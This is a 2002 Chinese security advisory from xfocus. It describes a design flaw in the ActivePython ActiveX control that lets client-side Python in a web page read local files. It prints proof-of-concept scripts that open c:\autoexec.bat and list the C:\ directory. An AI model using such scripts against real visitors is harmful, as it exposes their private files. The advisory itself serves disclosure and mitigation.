xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

ActivePython ActiveX控件默认安全策略漏洞


发布时间:2002-01-19
更新时间:2002-01-19
严重程度:
威胁程度:远程非授权文件存取
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:3893

受影响系统
Activestate ActivePython 2.1
Activestate win32all
详细描述
ActiveState's ActivePython 是python脚本语言在WINDOWS操作系统上的实现。
ActivePython也使用与linux和solaris.WINDOWS下默认的ActivePython包含一个
ActiveX控件注册为语言的脚本处理器,这个处理器允许用户在web页面上嵌入
客户端Python脚本。

这个ActiveX控件不修改关联RExec类的默认策略关联,结果包含在WEB页面上恶
意脚本可以访问文件和目录内容。

测试代码
下面的Python代码可打开c:autoexec.bat:


   <SCRIPT language=python>
   import __builtin__
   myfile = __builtin__.open("c:\\autoexec.bat")
   document.write(str(myfile.readlines()))
   myfile.close()
   </SCRIPT>

下面的Phthon代码可列出目录:


   <SCRIPT language=python>
   import os
   for file in os.listdir("c:\\"):
      document.writeln(file, "<br>");
   </SCRIPT>

下面是演示是否存在漏洞的页面:

http://www.computerbytesman.com/privacy/pythondirdemo.htm

解决方案
临时方法:

当Python代码被用于WEB页时Python实时运行库必须阻塞所有文件操作。

相关信息
Richard M. Smith <rms@computerbytesman.com>
参考:http://www.securityfocus.com/archive/1/250580
相关主页:http://www.activestate.com/Products/ActivePython/
http://aspn.activestate.com/ASPN/Downloads/ActivePython/Extensions/Win32all